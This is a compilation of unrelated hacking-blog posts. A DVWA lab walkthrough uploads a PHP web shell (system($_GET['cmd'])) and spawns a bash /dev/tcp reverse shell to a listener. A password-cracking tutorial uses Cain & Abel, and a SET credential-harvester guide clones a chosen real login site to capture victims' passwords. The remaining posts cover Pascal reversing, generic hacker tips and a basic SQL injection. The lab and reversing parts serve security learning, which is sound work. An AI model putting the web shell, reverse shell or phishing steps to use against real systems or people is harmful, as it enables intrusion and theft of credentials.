Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php
phpinfo();
?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php
system($_GET["cmd"]);
?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

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How To Crack A Password

What is Password Cracking?

Password cracking is the process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords. In other words, it's an art of obtaining the correct password that gives access to a system protected by an authentication method.

Password cracking employs a number of techniques to achieve its goals. The cracking process can involve either comparing stored passwords against word list or use algorithms to generate passwords that match

In this Tutorial, we will introduce you to the common password cracking techniques and the countermeasures you can implement to protect systems against such attacks.

Topics covered in this tutorial

• What is password strength?
• Password cracking techniques
• Password Cracking Tools
• Password Cracking Counter Measures
• Hacking Assignment: Hack Now!

What is password strength?

Password strength is the measure of a password's efficiency to resist password cracking attacks. The strength of a password is determined by;

• Length: the number of characters the password contains.
• Complexity: does it use a combination of letters, numbers, and symbol?
• Unpredictability: is it something that can be guessed easily by an attacker?

Let's now look at a practical example. We will use three passwords namely

1.  password

2.  password1

3.  #password1$

 For this example, we will use the password strength indicator of Cpanel when creating passwords. The images below show the password strengths of each of the above-listed passwords.

Note: the password used is password the strength is 1, and it's very weak.

Note: the password used is password1 the strength is 28, and it's still weak.

Note: The password used is #password1$ the strength is 60 and it's strong.

The higher the strength number, better the password.

Let's suppose that we have to store our above passwords using md5 encryption. We will use an online md5 hash generator to convert our passwords into md5 hashes.

 The table below shows the password hashes

Password	MD5 Hash	Cpanel Strength Indicator
password	5f4dcc3b5aa765d61d8327deb882cf99	1
password1	7c6a180b36896a0a8c02787eeafb0e4c	28
#password1$	29e08fb7103c327d68327f23d8d9256c	60

 We will now use http://www.md5this.com/ to crack the above hashes. The images below show the password cracking results for the above passwords.

As you can see from the above results, we managed to crack the first and second passwords that had lower strength numbers. We didn't manage to crack the third password which was longer, complex and unpredictable. It had a higher strength number.

Password cracking techniques

There are a number of techniques that can be used to crack passwords. We will describe the most commonly used ones below;

• Dictionary attack– This method involves the use of a wordlist to compare against user passwords.
• Brute force attack– This method is similar to the dictionary attack. Brute force attacks use algorithms that combine alpha-numeric characters and symbols to come up with passwords for the attack. For example, a password of the value "password" can also be tried as p@$$word using the brute force attack.
• Rainbow table attack– This method uses pre-computed hashes. Let's assume that we have a database which stores passwords as md5 hashes. We can create another database that has md5 hashes of commonly used passwords. We can then compare the password hash we have against the stored hashes in the database. If a match is found, then we have the password.
• Guess– As the name suggests, this method involves guessing. Passwords such as qwerty, password, admin, etc. are commonly used or set as default passwords. If they have not been changed or if the user is careless when selecting passwords, then they can be easily compromised.
• Spidering– Most organizations use passwords that contain company information. This information can be found on company websites, social media such as facebook, twitter, etc. Spidering gathers information from these sources to come up with word lists. The word list is then used to perform dictionary and brute force attacks.

Spidering sample dictionary attack wordlist

1976 <founder birth year>

smith jones <founder name>

acme <company name/initials>

built|to|last <words in company vision/mission>

golfing|chess|soccer <founders hobbies

Password cracking tool

These are software programs that are used to crack user passwords. We already looked at a similar tool in the above example on password strengths. The website www.md5this.com uses a rainbow table to crack passwords. We will now look at some of the commonly used tools

John the Ripper

John the Ripper uses the command prompt to crack passwords. This makes it suitable for advanced users who are comfortable working with commands. It uses to wordlist to crack passwords. The program is free, but the word list has to be bought. It has free alternative word lists that you can use. Visit the product website http://www.openwall.com/john/ for more information and how to use it.

Cain & Abel

Cain & Abel runs on windows. It is used to recover passwords for user accounts, recovery of Microsoft Access passwords; networking sniffing, etc. Unlike John the Ripper, Cain & Abel uses a graphic user interface. It is very common among newbies and script kiddies because of its simplicity of use. Visit the product website http://www.softpedia.com/get/Security/Decrypting-Decoding/Cain-and-Abel.shtml for more information and how to use it.

Ophcrack

Ophcrack is a cross-platform Windows password cracker that uses rainbow tables to crack passwords. It runs on Windows, Linux and Mac OS. It also has a module for brute force attacks among other features. Visit the product website http://ophcrack.sourceforge.net/  for more information and how to use it.

Password Cracking Counter Measures

• An organization can use the following methods to reduce the chances of the passwords been cracked
• Avoid short and easily predicable passwords
• Avoid using passwords with predictable patterns such as 11552266.
• Passwords stored in the database must always be encrypted. For md5 encryptions, its better to salt the password hashes before storing them. Salting involves adding some word to the provided password before creating the hash.
• Most registration systems have password strength indicators, organizations must adopt policies that favor high password strength numbers.

Hacking Activity: Hack Now!

In this practical scenario, we are going to crack Windows account with a simple password. Windows uses NTLM hashes to encrypt passwords. We will use the NTLM cracker tool in Cain and Abel to do that.

Cain and Abel cracker can be used to crack passwords using;

• Dictionary attack
• Brute force
• Cryptanalysis

We will use the dictionary attack in this example. You will need to download the dictionary attack wordlist here 10k-Most-Common.zip

For this demonstration, we have created an account called Accounts with the password qwerty on Windows 7.

Password cracking steps

• Open Cain and Abel, you will get the following main screen

• Make sure the cracker tab is selected as shown above
• Click on the Add button on the toolbar.

• The following dialog window will appear

• The local user accounts will be displayed as follows. Note the results shown will be of the user accounts on your local machine.

• Right click on the account you want to crack. For this tutorial, we will use Accounts as the user account.

• The following screen will appear

• Right click on the dictionary section and select Add to list menu as shown above
• Browse to the 10k most common.txt file that you just downloaded

• Click on start button
• If the user used a simple password like qwerty, then you should be able to get the following results.

• Note: the time taken to crack the password depends on the password strength, complexity and processing power of your machine.
• If the password is not cracked using a dictionary attack, you can try brute force or cryptanalysis attacks.

Summary

• Password cracking is the art of recovering stored or transmitted passwords.
• Password strength is determined by the length, complexity, and unpredictability of a password value.
• Common password techniques include dictionary attacks, brute force, rainbow tables, spidering and cracking.
• Password cracking tools simplify the process of cracking passwords.

@EVERYTHING NT

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Reversing Pascal String Object

There are many goodware and malware developed in pascal, and we will see that the binary generated by the pascal compilers is fascinating, not only because the small and clean generated binaries, or the  clarity of the pascal code, but also the good performance. In Linux we have Lazarus which is a good free IDE like Delphi and Kylix the free pascal IDE for windows.

The program:

program strtest;

var
  cstr:  array[0..10] of char;
  s, s2:  ShortString;

begin
  cstr := 'hello world';
  s  := cstr;
  s2 := 'test';
  
  WriteLn(cstr + ' ' + s + ' ' + s2);
end.


We are going to compile it with freepascal and lazarus, and just the binary size differs a lot:

lazarus          242,176 btytes  845 functions
freepascal       32,256 bytes   233 functions
turbopascal      2,928 bytes     80 functions  (wow)

And surprisingly turbopascal binaries are extremely light.
Lets start with lazarus:

Logically it imports from user32.dll some display functions, it also import the kernel32.dll functions and suspiciously the string operations of oleaut32.dll 

And our starting point is a function called entry that calls the console initialization and retrieve some console configurations, and then start a labyrinth of function calls.

On functions 10000e8e0 there is the function that calls the main function.

I named execute_param2 because the second param is a function pointer that is gonna be executed without parameters, it sounds like main calling typical strategy.
And here we are, it's clearly the user code pascal main function.

What it seems is that function 100001800 returns an string object, then is called its constructor to initialize the string, then the string is passed to other functions that prints it to the screen.

This function executes the method 0x1c0 of the object until the byte 0x89 is a null byte.
What the hell is doing here?
First of all let's create the function main:

Simply right button create function:

After a bit of work on Ghidra here we have the main:

Note that the struct member so high like 0x1b0 are not created by default, we should import a .h file with an struct or class definition, and locate the constructor just on that position.

The mysterious function was printing byte a byte until null byte, the algorithm the compiler implemented in asm is not as optimized as turbopascal's.

In Windbg we can see the string object in eax after being created but before being initialized:












Just before executing the print function, the RCX parameter is the string object and it still identical:

Let's see the constructor code.
The constructor address can be guessed on static walking the reverse-cross-references to main, but I located it in debugging it in dynamic analysis.

The constructor reads only a pointer stored on the string object on the position 0x98.

And we have that the pointer at 0x98 is compared with the address of the literal, so now we know that this pointer points to the string.
The sentence *string_x98 = literal confirms it, and there is not memory copy, it only points reusing the literal.

Freepascal

The starting labyrinth is bigger than Lazarus so I had to begin the maze from the end, searching the string "hello world" and then finding the string references:

There are two ways to follow the references in Ghidra, one is [ctrl] + [shift] + F  but there is other trick which is simply clicking the green references texts on the disassembly.

At the beginning I doubted and put the name possible_main, but it's clearly the pascal user code main function.

The char array initialization Is converted by freepascal compiler to an runtime initialization using mov instructions.

Reducing the coverage on dynamic we arrive to the writeln function:

EAX helds  a pointer to a struct, and the member 0x24 performs the printing. In this cases the function can be tracked easily in dynamic executing the sample.

And lands at 0x004059b0 where we see the WriteFile, the stdout descriptor, the text and the size supplied by parameter.

there is an interesting logic of what happens if WriteFile() couldn't write all the bytes, but this is other scope.
Lets see how this functions is called  and how text and size are supplied to figure out the string object.

EBX helds the string object and there are two pointers, a pointer to the string on 0x18 and the length in 0x18, lets verify it on windbg.

And here we have the string object, 0x0000001e is the length, and 0x001de8a68 is the pointer.

Thanks @capi_x for the pascal samples.

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HOW TO BECOME A CERTIFIED ETHICAL HACKER

7 Tips to become a hacker?
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.

1-Programming Language are essential to becoming a good hacker 

2-Networking skills is important to becoming an effective hacker.

3-SQL language are essential to becoming an effective hacker 

4-Internet surfing is also essential for becoming a hacker for gathering information.

5-Cryptography is essential to becoming a certified hacker from which a hacker can share his/her readable data to other person in a nonreadable form with the help of Cryptography.

6-Penetration testing  is also important for a hacker.

7-experiment a lot is also very useful to becoming a ethical hacker.

Follow me on insta_anoymous_adi

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HACKING PASSWORDS USING CREDENTIAL HARVESTER ATTACK

Everything over the internet is secured by the passwords. You need a login to do any stuff on any social or banking website. Passwords are the first security measure for these type of websites. So, I brought a tutorial on how to hack such sort of login passwords. This tutorial is based on credential harvester attack method. In which you will know about hacking passwords using credential harvester attack method.

HACKING PASSWORDS USING CREDENTIAL HARVESTER ATTACK

REQUIREMENTS

It's very simple and easy to follow. Before you start, you need the following things to work with.

1. Kali Linux OS
2. Target Website

STEPS TO FOLLOW

• Run the Kali Linux machine. If you have not Kali Linux installed, you can grab a free copy and install it as a virtual machine. You can learn more about Kali Linux VirtualBox installation.
• Sign in to Kali Linux by entering username root and password toor.
• As you'll sign in, navigate to the Applications > Social Engineering Tools > Social Engineering as shown in the following screenshot.
• Now you will see the different options. You have to choose Social Engineering Attacks by simply entering its number in the terminal. Once you do it, it will show a few options further. Simply choose Website Vector Attack by putting its number.
• Website vector attack will show up it's a different type of attacks. We are going to use Credential Harvester Attack.
• Choose the Site Clone option. As you do it, it will ask for your public IP address. Just open up a new terminal and type ifconfig. It'll show the public IP. Just copy it and paste in the previous terminal as shown in the following screenshots.
• After we do it. Enter the target website of which passwords you want to hack. Make sure to use a website that has username and password on the same page.
• All done now. As someone opens up the browser on the public IP we specified, it'll show up the website that we entered in the previous step. Now as someone enters their username or password, it will be captured in the terminal.

That's all. If you're not clear yet. You can watch the following complete video tutorial on how to do it.

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Learning Web Pentesting With DVWA Part 1: Installation

In this tutorial series I'm going to walk you through the damn vulnerable web application (DVWA) which is damn vulnerable. Its main goal according to the creators is "to aid security professionals to test thier skills and tools in a legal environment, help web developers better understand the process of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment."

I am going to install DVWA in docker so the prerequisite for this tutorial will be an installation of docker (Docker is not the only way to install DVWA but if you have docker already installed then it may be the easiest way to install DVWA).

To install DVWA in docker run your docker deamon if it's not running already and open a terminal or powershell and type:

docker rum --rm -it -p 8080:80 vulnerables/web-dvwa

It will take some time to pull the image from docker hub depending on your internet speed and after it is complete it will start the dvwa application. In the command we have mapped the image instance's port 80 to our hosts port 8080 so we should be able to access the web application from our host at http://localhost:8080

Now open your favorite web browser and go to http://localhost:8080
You should be prompted with a login screen like this:

login with these creds:
username: admin
password: password

After login you'll see a database setup page since this is our first run. Click on Create / Reset Database button at the bottom. It will setup database and redirect you to login page. Now login again and you'll see a welcome page.

Now click on DVWA Security link at the bottom of the page navigation and make sure the security level is set to Low. If it is not click on the dropdown, select Low and then click submit.

Now our setup is complete, so lets try a simple SQL attack to get a taste of whats about to come.

Click on SQL Injection in navigation menu.
You'll be presented with a small form which accepts User ID.
Enter a single quote (') in the User ID input field and click Submit.
You'll see an SQL error like this:

From the error message we can determine that the server has a MariaDB database and we can see the point of injection.
Since there are many quotes we are not able to determine the exact location of our injection. Lets add some text after our single quote to see exactly where our injection point is.
Now I am going to enter 'khan in the User ID field and click Submit.

Now we can see exactly where the point of injection is. Determining the point of injection is very important for a successful SQL injection and is sometimes very hard too, though it might not be that much useful here in this exercise.

Now lets try the very basic SQL Injection attack.
In the User ID field enter ' or 1=1-- - and click Submit.

We will explain what is going on here in the next article.


References:-
1. DVWA Official Website: http://www.dvwa.co.uk/

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